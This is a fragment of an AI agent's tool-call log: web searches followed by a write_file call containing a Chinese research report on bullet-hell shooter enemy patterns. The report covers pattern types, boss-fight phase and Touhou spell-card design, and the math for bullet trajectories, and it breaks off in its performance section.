"call_0bec51e442e7459bb1052633", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://raw.githubusercontent.com/nickschuetz/o3de-diorama/main/Docs/howto/24-bullet-patterns.md"}, "ts": 1787459471280}, {"type": "progress", "id": "call_0bec51e442e7459bb1052633", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://raw.githubusercontent.com/nickschuetz/o3de-diorama/main/Docs/howto/24-bullet-patterns.md"}, "ts": 1787459473022}, {"type": "progress", "id": "call_c2f251df800740a78a8665c6", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "东方 弹幕 子弹图形 小玉 中玉 大玉 针弹 刀弹 激光 种类"}, "ts": 1787459473027}, {"type": "progress", "id": "call_c2f251df800740a78a8665c6", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "东方 弹幕 子弹图形 小玉 中玉 大玉 针弹 刀弹 激光 种类"}, "ts": 1787459477934}, {"type": "progress", "id": "call_84737b8b5a16471b86d12727", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "danmaku pattern safe spot routing macro dodge micro dodge stream pattern design"}, "ts": 1787459477940}, {"type": "progress", "id": "call_84737b8b5a16471b86d12727", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "danmaku pattern safe spot routing macro dodge micro dodge stream pattern design"}, "ts": 1787459484039}, {"type": "progress", "id": "call_f1ebaba62f454ec59804c5d6", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://old.reddit.com/r/shmupdev/comments/13w730k/bullet_hell_shmup_design_101_bullet_patterns/"}, "ts": 1787459491121}, {"type": "progress", "id": "call_f1ebaba62f454ec59804c5d6", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://old.reddit.com/r/shmupdev/comments/13w730k/bullet_hell_shmup_design_101_bullet_patterns/"}, "ts": 1787459493861}, {"type": "progress", "id": "call_61e2abeec97f4ddcb26c7a6c", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://tig.fandom.com/wiki/Danmaku"}, "ts": 1787459493867}, {"type": "progress", "id": "call_61e2abeec97f4ddcb26c7a6c", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://tig.fandom.com/wiki/Danmaku"}, "ts": 1787459495749}, {"type": "progress", "id": "call_040e7861b94e4ca4a127bbf3", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "DoDonPachi Ketsui Mushihimesama bullet patterns design Cave shmups famous patterns"}, "ts": 1787459499225}, {"type": "progress", "id": "call_040e7861b94e4ca4a127bbf3", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "DoDonPachi Ketsui Mushihimesama bullet patterns design Cave shmups famous patterns"}, "ts": 1787459503921}, {"type": "progress", "id": "call_722e3b8c9f504c5382e76d1b", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [1, 2, 3, 4]}, "ts": 1787459530962}, {"type": "progress", "id": "call_722e3b8c9f504c5382e76d1b", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [1, 2, 3, 4]}, "ts": 1787459530963}, {"type": "progress", "id": "call_221c64a46fc24b6eb696fcd8", "tool": "write_file", "status": "running", "args": {"file_path": "research/bullet_patterns/bullet_pattern_research.md", "content": "# 弹幕射击游戏(STG / Bullet Hell)敌方弹幕模式调研报告\n\n> **调研目的**:为像素风格的弹幕射击游戏(STG / Bullet Hell)提供敌方弹幕(bullet pattern)设计的系统性参考。\n> **调研方式**:网络搜索 + 网页资料提取(来源见第 7 章)。\n> **调研时间**:2026-08-23\n> **交付目录**:`research/bullet_patterns/`\n\n---\n\n## 0. 摘要(TL;DR)\n\n- 弹幕(danmaku / 弾幕,字面义\"弹幕幕帘\",西方称 bullet hell / curtain fire)与普通 STG 的本质区别**不是子弹数量**,而是\"**整个屏幕都是弹幕的舞台**\"——大量子弹不是为了全部命中玩家,而是组成可观赏、可读、有图案(pattern)的\"幕帘\",玩家在其中寻找缝隙穿行。多数子弹在诞生之初就注定打不到玩家(Sparen's Danmaku Design Studio, Guide A2)。\n- 经典弹幕模式可用\"**规律 + 微扰**\"统一描述:先排布几何图案(环形、螺旋、扇形、直线、激光、网格等),再叠加少量可控随机(角度/速度抖动),并始终**以\"设计缝隙\"为核心**,而不是\"设计密度\"。\n- Boss 战的核心设计杠杆:**阶段(Phase/符卡)转换、节奏(轻/重交替与紧张-释放)、密度控制(难度曲线)、安全路径/安全点(safe zone/safespot/routing)、公平性信号(预警 telegraph)**。\n- 实现上只靠 5 个基础参数即可组合出绝大多数模式:**发射角度、子弹数量、发射间隔、子弹速度、加速度(角速度)**;曲线弹幕依赖角速度转向、极坐标/参数方程(如螺旋 `r=a·t, θ=b·t`)、贝塞尔曲线或正弦扰动。\n- 像素风格下,弹幕可读性(readability)压倒一切:**高饱和颜色 + 描边(尤其双层描边)+ 闪烁/呼吸动画 + 明确的子弹形状语义 + 绘制层级(敌方子弹永远最上层)**;并让判定(hitbox)远小于视觉尺寸。\n\n---\n\n## 1. 背景认知:弹幕射击与普通 STG 的区别\n\n| 维度 | 普通 STG | 弹幕射击(Bullet Hell) |\n|---|---|---|\n| 子弹目的 | 命中玩家 | 大量子弹作\"装饰 + 制造缝隙谜题\",很多子弹故意不打玩家 |\n| 屏幕利用 | 子弹从上方来袭 | 全屏都是舞台,子弹可从任何方向/任何规律出现 |\n| 判定 | 机体整体判定 | 微型判定点(hitbox),东方等游戏中判定远小于机绘大小 |\n| 玩家速度 | 较快 | 有\"低速聚焦模式\"(focus/slow mode)用于精确微调 |\n| 美学 | 战场感 | \"弹幕舞蹈\",图案本身有独立观赏价值 |\n\n关键概念:\n\n- **幕帘火(Curtain fire)**:'curtain fire'精确描述了弹幕的本质——用弹幕填满一片空间形成\"幕帘\",玩家面对的是\"图案\",而不是\"几发子弹\"(Sparen Guide A2)。\n- **判定点(Hitbox)**:子弹只有碰到自机中心的微小判定点才算命中。Cave 的《虫姬后传》《怒首领蜂大复活》甚至有 1 像素判定;DoDonPachi 系列子弹判定通常只占子弹直径约 20%(来源:TimeExtension CAVE 历史长文、Shmups Wiki CAVE 词条)。\n- **擦弹(Graze)**:子弹掠过判定点外围的\"擦弹判定圈\"得分,鼓励玩家贴着子弹走(Summer Engine、maribelhearn 术语表)。\n- **心理过滤(Mental filtering)**:高手玩家会自动忽略大量\"注定打不中自己\"的子弹(例如环形弹幕中飞向两侧/上方的子弹),只对逼近自己的弹道做出反应——这是弹幕\"装饰性子弹\"能成立的心理学基础(Sparen Guide A2)。\n\n---\n\n## 2. 经典弹幕模式分类\n\n> 本节以任务要求的 9 类为主干(2.1–2.9),然后在 2.10 补充调研中发现的其它常用模式。每个模式给出:**名称 / 视觉描述 / 数学与实现要点 / 经典游戏例子 / 像素风格设计建议**。\n> 注:任务要求的 9 类与社区常用分类(如 note.com 归纳的 15 种模式)并非一一对应,本报告将两类分类体系做了映射与合并。\n> 经典例子部分,凡未在本轮调研资料中明确出现的,均标注为\"常识(通用认知)\",置信度说明见第 7 章。\n\n### 2.1 环形弹幕(Ring / Circle Burst,日语\"轮弾/円形弾\")\n\n- **视觉描述**:从中心点向 360° 均匀放射一圈子弹,呈涟漪/烟花/魔法阵状。变化包括:扩展环(从小半径环向外扩)、收缩环、多重同心环、旋转环、分裂环(飞到中途爆成更多子弹)。(note.com 2-8 Rings)\n- **数学与实现要点**:\n ```\n n = 子弹数; base = 基准角\n for i in 0..n-1:\n angle = base + i * (360° / n)\n vx = speed * cos(angle); vy = speed * sin(angle)\n ```\n 若每帧/每次发射让 `base` 增加固定角,环就\"旋转/缭乱\"起来。(o3de-diorama 文档:Ring 参数含 Count、Aim、Speed、Fire Rate、Spin Per Shot;Ted Lim / GameMaker 论坛同款公式)\n- **经典游戏例子**:东方系列几乎所有 Boss 都有环弹(常识);琪露诺的冰符「Icicle Fall -Easy-」的冰柱环是知名的入门环弹(Sparen Guide A2 以其为例讲述固定角);环形常用作 Boss 战开场或\"轻阶段\"的通用压迫弹(note.com 入门 Boss 组合)。\n- **像素风格设计建议**:环弹数量多且对称,适合用**小尺寸圆形弹**(6–8px)保证低视觉占用;用\"带圈的小玉\"(外圈描边)区分装饰环和危险环;旋转环可给子弹加 1–2 帧的旋转动画增强\"轮转感\"。\n\n### 2.2 螺旋弹幕(Spiral)\n\n- **视觉描述**:发射角连续旋转,子弹留下螺旋尾迹,像银河/风车/玫瑰。变体:单螺旋、多螺旋、顺逆时针双螺旋交叉、不同色相/速度的螺旋。(note.com 2-2 Spiral)\n- **数学与实现要点**:\n - 离散式:每次发射一个环,环的基准角 += 每发旋转角(Spin Per Shot),即\"每发转一点\"(o3de-diorama)。\n - 参数方程(连续式):极坐标 `r = a·t`、`θ = b·t`,则 `x = cx + r·cos(θ)`,`y = cy + r·sin(θ)`(来源:Danmokou Tutorial 6 的螺旋示例 `polar(2*t, 80*t)`)。\n - 替代实现:让发射器父对象缓慢旋转(Ted Lim——\"空对象 + 3 个子发射点 + 旋转父对象即可做出螺旋\")。\n- **经典游戏例子**:螺旋是弹幕最经典的高性价比模式,\"低子弹数也能很华丽\"(note.com);东方各作螺旋遍地(常识),双反向螺旋常作中后期难度(YouTube Week 25 Boss 设计演示了\"顺+逆双螺旋\"Boss 阶段)。\n- **像素风格设计建议**:螺旋强调\"轨迹\",适合用**细长子弹(针弹/米弹/箭弹)**来勾勒弧线;或给圆形弹加方向性贴图(箭头形)让旋转方向可读(Sparen Guide A2 说明了\"有方向性的子弹图形\"对旋转/转向弹幕的可读性价值)。\n\n### 2.3 扇形弹幕(Fan / Wedge)\n\n- **视觉描述**:在一个方向张开成扇面。窄扇高压、宽扇适合场景演出;朝玩家发射时进攻性强(\"瞄准开火\"的观感),固定方向发射则可控、适合道中演出。(note.com 2-3 Fan)\n- **数学与实现要点**:\n ```\n n = 子弹数; spread = 扇形总张角; aim = 瞄准角\n step = spread / (n - 1)\n start = aim - spread / 2\n for i in 0..n-1:\n angle = start + i * step\n ```\n (来源:Unity 教程(Unity Discussions 搜索片段)与 Ted Lim 的扇面公式——\"startAngle = target - halfSpread / 2,endAngle = target + halfSpread/2,逐颗递增 step\")\n- **经典游戏例子**:几乎所有 STG 的追踪射击采用\"瞄准玩家的扇\"(aimed fan);东方道中妖精惯用(常识);DoDonPachi 等 Cave 游戏的\"concentrated fire\"即窄/快扇(来源:Zen of the SHMUP 对 Cave 的归类)。\n- **像素风格设计建议**:扇弹适合 7–11 颗一组的中型子弹(如 10px 小玉),发射瞬间用**同一色系**表示同一波;窄扇用暖色(红/橙)暗示高风险,宽装饰扇用冷色。\n\n### 2.4 直线弹幕(Line / Stream / Wall)\n\n- **视觉描述**:\n - **流弹(Stream)**:从一处连续射出单发子弹,形成一条密集弹流,玩家\"引弹\"时可把它带成一条可利用的空隙带(maribelhearn 术语:streaming / 引弹)。\n - **墙(Wall)**:同排/同列子弹连成不可穿越的\"墙\",迫使玩家整体绕过(宏闪避)或在墙隙中微闪避。Sparen Guide A3 的定义:\"墙 = 玩家无法从中间穿过的子弹群/编队\"。\n- **数学与实现要点**:连续发射(fire rate 控制密度)+ 固定方向;若每发角度做正弦微扰,直线流会变成\"S 形波流\"(Unity 论坛示例:0°→180° 递增、180°→360° 递减即正弦半波)。\n- **经典游戏例子**:东方\"针山/米弹雨\"类密集直线(常识);Sparen 用 Utsuho(地灵殿 阿空)的符卡组合说明微/宏闪避结合的动态弹幕(Sparen Guide A3)。\n- **像素风格设计建议**:直线弹适合**针弹/米弹/箭弹**(细长、方向明确);流弹用同色细弹,墙用同色+同速保证\"墙\"的视觉连续性;给子弹加方向性贴图可让玩家立即读出弹道(Sparen Guide A2)。\n\n### 2.5 随机散射(Random Spread)\n\n- **视觉描述**:子弹角度/速度在随机范围内散射,像火花、星尘、碎片。纯随机易显得\"无设计\"且不公平,优秀做法是给角度、速度、密度赋予\"范围与偏置\"(bias),即受控随机。(note.com 2-12 Particles;Sparen Guide A2 对随机角的负面评价)\n- **数学与实现要点**:\n - 在固定规律上叠加小随机:\"受控随机看起来更像弹幕\"(note.com 3-1):\n ```\n angle = base + i * even_angle + sin(t) * 波动幅度 # 规律性\n speed = base_speed + random(-0.2, 0.2) # 微扰\n ```\n - 随机角度也可用作\"种子角度\":例如连续发射环形弹时,每轮用一个随机初始角,避免盲区/避免每轮覆盖完全相同的路径(Sparen Guide A2)。\n- **经典游戏例子**:东方的\"小虫型符卡\"(《魔理沙的魔法书》分类,子弹细碎、颜色丰富,多为弱妖怪用,来源:Wikipedia 符卡)与妖精群随机弹(常识);Cave 的 Mushihimesama 强调\"更快、更集中\"的火力,其随机感更强(来源:Zen of the SHMUP / Reddit 讨论)。\n- **像素风格设计建议**:随机弹适合**点弹/星弹/米粒弹**等小尺寸,配合\"闪烁\"动画强调危险性;随机弹颜色可用亮白/黄等\"危险信号色\";注意与背景对比度(slynyrd)。\n\n### 2.6 追踪弹幕(Homing / Aimed)\n\n- **视觉描述**:\n - **瞄准弹(Aimed)**:开火瞬间朝玩家当前位置瞄准(可加扇形成\"瞄准扇/散弹\"),考验玩家\"引弹\"(misdirection)能力(note.com 2-4、maribelhearn 术语)。\n - **追踪弹(Homing)**:飞行中持续转向玩家。转向性能越弱越容易躲,追求\"稍微弯曲\"而非\"全程咬死\",反而更美观(note.com 2-13)。\n- **数学与实现要点**:\n ```\n desired = atan2(player.y - bullet.y, player.x - bullet.x)\n turn = clamp(desired - bullet.angle, -maxTurnRate*dt, +maxTurnRate*dt)\n bullet.angle += turn # 限速转向(turning performance)\n # 可选:加速度朝玩家、停顿后重新加速、分裂后重新锁定(note.com 2-13 变体)\n ```\n- **经典游戏例子**:瞄准弹是 Cave\"concentrated fire / tracking\"风格的基石(来源:SHMUP Workshop 03 YouTube——\"tracking and spread gates, 经典 CAVE 做法\");东方 Boss 的瞄准时间差/瞄准散弹(常识)。追踪弹在 DoDonPachi 的\"自爆弹\"(suicide bullets,击破敌人释放的追踪自机弹)中大量出现(来源:TimeExtension)。\n- **像素风格设计建议**:追踪弹要用**明显的方向性贴图**(箭头/小刀/蝴蝶等)且贴图随角度旋转,否则玩家读不出它在转弯(Sparen Guide A2:\"无方向性贴图的圆弹不传达转向\")。用发光/描边强调\"这只子弹会追我\"。\n\n### 2.7 反弹弹幕(Bounce / Ricochet)\n\n- **视觉描述**:子弹撞到屏幕边缘/墙壁后反弹继续飞行,轨迹呈折线。属于\"轨迹型\"弹幕中较少见的一类。\n- **数学与实现要点**:碰撞边缘时反射角度:`angle = π - angle`(左右边)或 `angle = -angle`(上下边),或对速度向量做分量取反;可加转数上限让子弹弹几次后消失。\n- **经典游戏例子**:相比东方式纵版弹幕(子弹通常出屏即消),反弹弹更常见于街机/横版与部分同人弹幕(如某些 Cave 之外的 STG);东方中近乎**没有**常规反弹弹(常识判断,未见调研资料佐证其广泛存在)。⚠️ 这属于\"相对少见\"的类型,若要在本项目中使用,建议作为特色武器或 Boss 特殊阶段引入,而非基础词库。\n- **像素风格设计建议**:反弹弹适合圆润的**圆形/椭弹**(避免方向性贴图在反弹瞬间的旋转跳变违和);反弹瞬间加 1–2 帧\"压缩-回弹\"动画或火花粒子,强化物理感;用预警或颜色提示\"它会弹\"。\n\n### 2.8 滞留弹幕(Static / Lingering)\n\n- **视觉描述**:子弹停留在场上形成持续障碍,或极慢速移动封锁区域。包括:静止弹墙、悬浮使魔、地面/空中持续存在的弹(laser 也可视为线状滞留)。作用是**区域封锁(area denial)**:封住一部分屏幕,为后续弹幕做铺垫,或堵住之前的逃逸路线(SHMUP Workshop 03:area denial patterns 的定义;Boghog:bullet sealing、ceasefire zone 等反挫败机制)。\n- **数学与实现要点**:寿命(lifespan)拉长 + 速度降到 ~0;或通过\"分裂条件=凝固\"实现\"飞行到某点后停住\"。可让滞留弹周期性闪烁(半透明 + 呼吸)提示\"仍在威胁中\"。\n- **经典游戏例子**:东方\"压迫型符卡\"(《魔理沙的魔法书》:限制自机移动范围的符卡,来源 Wikipedia,如灵梦的梦符「二重结界」以弹幕构成双重结界限制移动——B 站文章以它为例);激光墙封路也是常见形式(note.com 2-14,激光\"clearly block off parts of the screen\")。\n- **像素风格设计建议**:滞留弹必须与\"会动的危险弹\"在视觉上区分——建议**低频闪烁 + 半透明 + 固定描边**;或用\"发光的柱子/结界\"图形(如结界/棱镜形状)表示区域阻碍物。静止弹用冷色系(蓝/紫),活动弹用暖色系,形成语义分离。\n\n### 2.9 组合弹幕(Compound Patterns)\n\n- **视觉描述**:把多个模式叠加。例如\"螺旋铺满屏 + 瞄准弹逼玩家移动\",或\"展开环 + 中途分裂 + 激光堵路\"。(note.com 2-15 Composite)\n- **设计原则**(note.com 3-2 / 2-15):\n - 组合时**指定一个主模式**,其余为伴奏,避免信息过载。\n - 元素越多,越要依赖颜色编码、预警、缝隙设计来保证可读性。\n - 组合要形成\"分工\":背景压迫 + 前景逼迫(如中间难度组合:旋转全向弹 + 上方落雨 + 周期性瞄准弹)。\n- **经典游戏例子**:东方高阶符卡几乎都是组合(常识,如多层螺旋+分裂环+预警激光即 note.com 高级 Boss 推荐组合);阿空(地灵殿)的符卡是微/宏闪避结合的著名组合(Sparen Guide A3)。\n- **像素风格设计建议**:组合弹幕在像素风下最容易\"糊成一团\"。建议:每个模式用**不同主色**;不同模式用**不同子弹形状**(圆=压迫、针=直线、星=装饰/特殊);层与层之间拉开速度差,让玩家能分层读取。\n\n### 2.10 调研补充的常用模式\n\n以下模式来自 note.com 的《15 种经典弹幕模式》与 Sparen 指南,按需并入本项目词库:\n\n| 模式 | 视觉/玩法特征 | 要点 | 像素建议 |\n|---|---|---|---|\n| **波型/幕帘(Wave/Curtain)** | 正弦波排列的子弹带,像波浪/极光/瀑布,容易与 BGM 节奏联动 | 重点是\"缝隙的流动感\"而非子弹本身;`y = a·sin(ωt + φ)` 排布 | 用细长米弹/针弹沿正弦排布,同色系渐变 |\n| **网格(Grid)** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读;纯网格易单调,加大小的速度差/局部缺口 | 强规律、易读、密度↑难度↑ | 用规则小圆弹 + 网格闪烁/错位动画 |\n| **花状(Floral)** | 对称花瓣排列(5/6/8 瓣),华丽,适合符卡演出 | 对称越高越精致;过度均匀会单调,周期性转相位 | 花瓣用两类颜色交替(瓣=亮、蕊=暗)强化图案 |\n| **星形/多边形(Star)** | 强调特定顶点(5/6/8 向)的星形放射 | 少弹星形也醒目,适合元素/性格表达 | 用星形贴图子弹 + 旋转动画 |\n| **交叉(Intersection)** | 多股弹流交叉如编织/光流;视觉美但缝隙易被切断 | 关注\"玩家可走的路径\"而非交点;调速度/密度/交叉角 | 两条交叉流用互补色(如青 vs 品红)|\n| **落雨(Rain)** | 自上而下倾泻,天然适合道中演出 | 全随机易不公平,保持一定规律美观 | 竖直方向子弹用垂直长条贴图或水滴形 |\n| **粒子(Particles)** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子、Boss 登场 | 给角度/速度/密度一个\"范围+偏置\" | 小尺寸 + 闪烁,可叠加在其他弹幕上做纹理 |\n| **激光(Laser)** | 线/带状攻击,视觉冲击强,可明确封路 | 发射前先给**细预警线(telegraph)**最公平;有固定/旋转/弯曲/网格激光 | 预警线细→粗的 2 帧过渡动画;激光主体用高亮+描边 |\n| **分裂弹(Split)** | 飞行中途/定时/到距离后爆成子弹(如 1→3),常伴随\"先停顿\"预警 | 分裂条件:时间/距离/位置;分裂后子弹可重新锁定玩家(note.com 2-13) | 母弹大而亮(告知\"会爆\"),子弹小一号;停顿帧加\"蓄力闪光\" |\n\n---\n\n## 3. Boss 战弹幕设计\n\n### 3.1 阶段转换与东方Project符卡系统(Spell Card)\n\n**东方Project 的符卡系统**(来源:Wikipedia《符卡》、百度百科、PIXNET 东方介绍):\n\n- **来源与规则**:符卡(Spell Card,スペルカード)由《东方红魔乡》首次引入(ZUN 自述为\"比其它系统更早面世\"而开发本作)。符卡规则 = \"给绝技命名并宣言\"的决斗规则:宣言、约定符卡张数、击破对方全部符卡即胜。\n- **敌方符卡流程**:\n 1. **非符(nonspell)**:Boss 的普通攻击,一般耐久条分格为单位;\n 2. **符卡宣言**:血量削到阈值时 Boss \"念符\"(宣言),画面切换为该角色专属 Spell Card 背景,进入符卡攻击;\n 3. **符卡红利(Spell Card Bonus, SCB)**:无 Miss 无 Bomb 击破符卡可获得额外分数,随时间递减;擦弹可增加红利;\n 4. **时间限制**:每张符卡有残余时间显示,超时 Boss 自动进入下一波(此时无法收取符卡)。\n- **符卡变体**:\n - **增强型符卡**:随血量削减,弹幕密度/速度逐渐增加,越到后面越难(强化难度的天然手段);\n - **时效型/时限型符卡**:耐久无法直接削减,玩家必须\"死守到时间结束\"才能收取(生存符卡 survival card;如《永夜抄》部分符卡);\n - **Last Spell / Last Word / Overdrive**:残机为零或特定条件下的最终符卡(Extra/隐藏挑战用)。\n- **难度变化**:同一符卡在 Easy/Normal 与 Hard/Lunatic 下常有**不同名字**(Higher 难度名字更华丽),弹幕排列与颜色也会变化(Wikipedia)。\n- **《魔理沙的魔法书》对符卡的分类**(Wikipedia):演剧型(重视觉效果、大量非瞄准装饰弹)、奴隶型(用使魔/人偶/式神攻击)、小虫型(细碎多彩、弱妖怪)、压迫型(限制自机移动范围)、兴奋剂型(强化自身)。\n\n**对本项目的启示**:阶段(Phase)不必按血量硬切,可以模仿\"非符→符卡宣言→符卡\"的节奏:普通阶段保持低密度教学,宣言瞬间清场 + 特效 + 显示符卡名,制造\"仪式感\";生存符卡(时限型)能复用已有图案、只改目标(熬过 X 秒),开发成本低、演出效果好。\n\n### 3.2 弹幕密度控制\n\n- **密度不是越多越好**:'curtain fire'不等于无限堆弹;密度阈值之后,可读性(readability)崩坏,玩家感到\"不公平\"而非\"华丽\"(note.com 3-2:设计缝隙而非密度)。\n- **难度曲线**:\n - 报告参考\"轻/重阶段交替\"(Danmaku Unlimited 3 采用东方式 light/heavy 交替:轻阶段让玩家喘息与移动,重阶段密集压迫,来源 Forgotten Worlds 采访);\n - 每个 Boss 阶段内\"缓慢升级\":起点是玩家已见过的简单变体,随后逐次加大子弹量/缩小缝隙/提高速度(SHMUP Workshop 03:slow escalation)。\n - 不同难度等级通过\"同一图案改密度/速度/名字\"来分层(东方难度差异,Wikipedia)。\n- **可控变量**(可做成运行时调参工具):子弹数、速度、发射间隔、扇形张角、环形偏转、随机种子、加层数。\n- **Cave 的 rank 系统**:根据玩家当前表现(残机/雷/击破率)动态调整弹幕强度——可选的高级机制(来源:TimeExtension;Boghog 亦建议用\"credit feed 降 rank\"来练习 Boss)。\n\n### 3.3 安全路径设计(Safe Zones / 缝隙 / 路线)\n\n弹幕的本质是\"缝隙谜题\",安全路径是设计对象而非巧合:\n\n- **微闪避(micrododging)**:在密集子弹的缝隙间小幅移动穿行(Sparen A3 / maribelhearn / Boghog);\n- **宏闪避(macrododging)**:对整个弹幕编队进行大幅度绕行、找到整块安全区(safe spot / safespot——\"内部完全不会被击中(或近于)的点/区域\",maribelhearn 术语);东方中 BOWAP、咲夜道中非符等是经典 safespot(maribelhearn Beginner Guide / jargon);\n- **引弹(streaming / misdirection)**:瞄准弹只有在玩家\"把弹流引到别处\"时才安全——设计上,持续的瞄准弹迫使玩家移动并制造\"下一波更难\"的位置压力(SHMUP Workshop 03:被满屏引导到尴尬位置会削弱后续应对;maribelhearn:misdirection 常在数秒空隙内完成);\n- **路线(routing)**:玩家在静态/半静态弹幕中规划的具体移动路径,是\"设计缝隙\"的最终产物;\n- **设计检查表**(综合 note.com 3-2 与 SHMUP Workshop 03):\n 1. 画图时刻意留下**可见的缝隙**(gap width > 判定点 + 子弹判定 + 误差余量);\n 2. 区分\"安全点型\"(原地不动即可)与\"移动型\"(需要持续引弹)两类安全路径,交替使用;\n 3. 用瞄准弹/区域封锁弹**主动关闭**上一轮的安全点,防止玩家蹲坑(area denial,SHMUP Workshop 03;以及\"anti-camping:避免玩家龟缩\"的 Boss 设计目标);\n 4. 每次重复图案时用随机种子旋转相位,避免出现固定盲区(Sparen A2)。\n\n### 3.4 时间限制与弹幕压力\n\n- **时限符卡**:上面已述(生存符卡)。在设计上,时限 = \"不需要 DPS 检验,纯粹考验躲避\",适合放在 Boss 战中段作为节奏变化点(东方文花帖/弹幕天邪鬼等衍生作品以\"时限+道具\"为核心玩法)。\n- **压力节奏(tension-release loop)**:\n - 每个波次设计\"入口压力→主压力→释放\"三段式:先预警(低压力、可读),再高压(核心躲避),最后 1–2 秒\"突然变简单\"给玩家胜利快感(Boss Up YouTube:survive 之后的那 1 秒喘息极具成瘾性);\n - 压力来源可以分层:视觉压力(满屏)、逻辑压力(瞄准)、时间压力(超时/残机消耗)。\n- **Boss 战的五个设计要素**(来源:Game Developer《Video Game Boss Design for Shmups》):\n 1. **难度 Difficulty**:首关 Boss 必须让\"认真玩的人\"能过;Boss 攻击应与关卡已有敌人/道具主题连贯(\"进化\"而非\"空降\");\n 2. **多样性 Variety**:Boss 血量条分段显示图案边界;同一段血内可循环多个攻击,且每次攻击要求不同的躲避/输出策略;\n 3. **时长 Length**:Boss 战时长与关卡时长成比例;中 Boss 不应比关底 Boss 长;把\"信息不对等的假 Boss → 真 Boss\"当一次性惊喜;\n 4. **回报 Pay-off**:Boss 战末尾(濒死前)往往\"倾泻所有弹幕\"制造最终高潮(Mushihimesama、ESPGaluda2、Ikaruga 第 3 章 Boss 都是例子);好回报 = 节奏铺垫 + 假危机;\n 5. **角色 Character**:爆炸方式、受击反馈、蓄力/宣言动画、音效都要符合角色性格——这是\"为什么这个 Boss 挡在这里\"的叙事答案。\n\n### 3.5 东方式 Boss 战结构参考(综合)\n\n1. 开战:非符 1(轻、教学、环/扇)\n2. 符卡宣言(换背景、念符名)→ 符卡 1(主题图案,时间限制,收取奖励)\n3. 非符 2(中压,引入瞄准/引弹)\n4. 符卡 2(组合图案,增强型:随血量变密)→ ……\n5. 濒死:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出(击破瞬间子弹变道具)\n6. (挑战层)隐藏:Extra 时限符卡 / 弹幕天邪鬼式\"看似不可能\"组合\n\n---\n\n## 4. 数学原理与实现\n\n### 4.1 基础参数体系\n\n任何一个弹幕模式都可由以下参数组合生成(来源:note.com 第 4 章;o3de-diorama 参数表):\n\n| 参数 | 作用 | 备注 |\n|---|---|---|\n| 发射位置 | 敌中心/屏幕边缘/多炮塔 | 决定子弹出生点阵型 |\n| **发射角度** | 固定 / 旋转 / 瞄准 / 随机 | 最易出效果 |\n| 子弹数量 | 密度 | 环形=一圈数量、扇形=扇内数量 |\n| 发射间隔 | 节奏 | 决定\"流\"还是\"波\" |\n| 子弹速度 | 难度与观感 | 快=危险、慢=可读 |\n| 加速度 | 节奏与曲线 | 减速弹、加速弹 |\n| 角速度 | 螺旋、转向弹 | 曲线弹的核心 |\n| 寿命 | 消失时机 | 滞留弹=长寿命 |\n| 分裂条件 | 时间/距离/位置 | 分裂弹 |\n| 颜色/大小 | 可读性与美观 | 颜色=属性编码 |\n\n### 4.2 角度与排列公式(常用)\n\n- **环形**:`angle_i = base + i·360/n`,`v = speed·(cos, sin)`(2.1 节)\n- **扇形**:`angle_i = aim - spread/2 + i·spread/(n-1)`(2.3 节)\n- **瞄准**:`angle = atan2(py - ey, px - ex) + 偏移`(瞄准扇 = 在其两侧均匀分布)\n- **网格**:对 `(i,j)` 行列给固定 x/y 间距\n- **正弦波**:`x 或 y += A·sin(ω·t + φ)`(2.10 波型)\n- **花瓣/星形**:`angle_i = base + i·(360/petal) + 相位`,再由花瓣内多颗子弹构成瓣形\n- **规律+微扰**:`angle = base + i·even + sin(t)·fluct`,`speed = base + random(-δ,δ)`(note.com 3-1)\n- **周期循环**:如\"每 60 帧一波大浪、每 15 帧小弹、每 4 发反转角度\"制造音乐性节奏(note.com 3-4)\n\n### 4.3 速度变化(加速/减速弹幕)\n\nDanmokou(DMK 引擎)归纳的常见运动(来源:Danmokou Tutorial 6):\n\n1. 恒定速度直线(默认)\n2. **直线加速**(`v(t) = v0 + a·t`,可正可负:赶人弹/诱导弹)\n3. 速度在慢/快之间周期切换\n4. 两位置间往返\n5. 极坐标运动(径向+角速度)\n6. 波浪线(squiggly)\n7. 旋转运动方向(追踪/转向)\n8. 相对另一运动物体运动(随从弹/母舰子机)\n9. 任意参数方程轨迹\n\n工程提示:DMK 把运动建模为**函数**(`rvelocity(px(3 + sine(4, 0.6, t)))`),而不是\"速度/加速度两个标量\",从而任意轨迹即插即用;其子弹更新循环一次函数调用即可支撑 10 万以上子弹 @4K 120FPS(DMK 官方数据)。\n\n### 4.4 曲线弹幕(转向 / 极坐标 / 贝塞尔)\n\n- **限速转向(追踪弹)**:每帧把朝向转向上限内的目标方向(2.6 节公式);\"转向弱一点更好躲也更好看\"(note.com 2-13)。\n- **极坐标螺旋**:`r(t)=a·t, θ(t)=b·t` → 直角坐标 `x = cx + r·cosθ, y = cy + r·sinθ`(DMK 示例 `polar(2*t, 80*t)`)。注意极坐标绕圈时转速均匀性需要弧长参数化,DMK 作者自述\"没有闭式解,需迭代求解\"。\n- **贝塞尔曲线(弯曲弹)**:二次贝塞尔 `B(t) = (1-t)²·P0 + 2(1-t)·t·P1 + t²·P2`,每帧采样 t∈[0,1] 作为下一位置(通用图形学做法,非本次调研单一来源;用于\"弧形弹道/水漂弹\")。三次贝塞尔 `C(t)` 用于更复杂的 S 形弹道。\n- **正弦扰动**:在固定方向上叠加正弦横向偏移,成为\"S 形\"弹(Unity 论坛实现示例)。\n- **角度退化/曲线激光**:东方中存在\"准激光\"(弧形激光、曲线灵弹),判定比直线激光大(thwiki 弹型介绍)——曲线弹道要么给足预警,要么减小判定。\n\n### 4.5 性能实现建议\n\n- **对象池(object pool)**:固定容量池 + 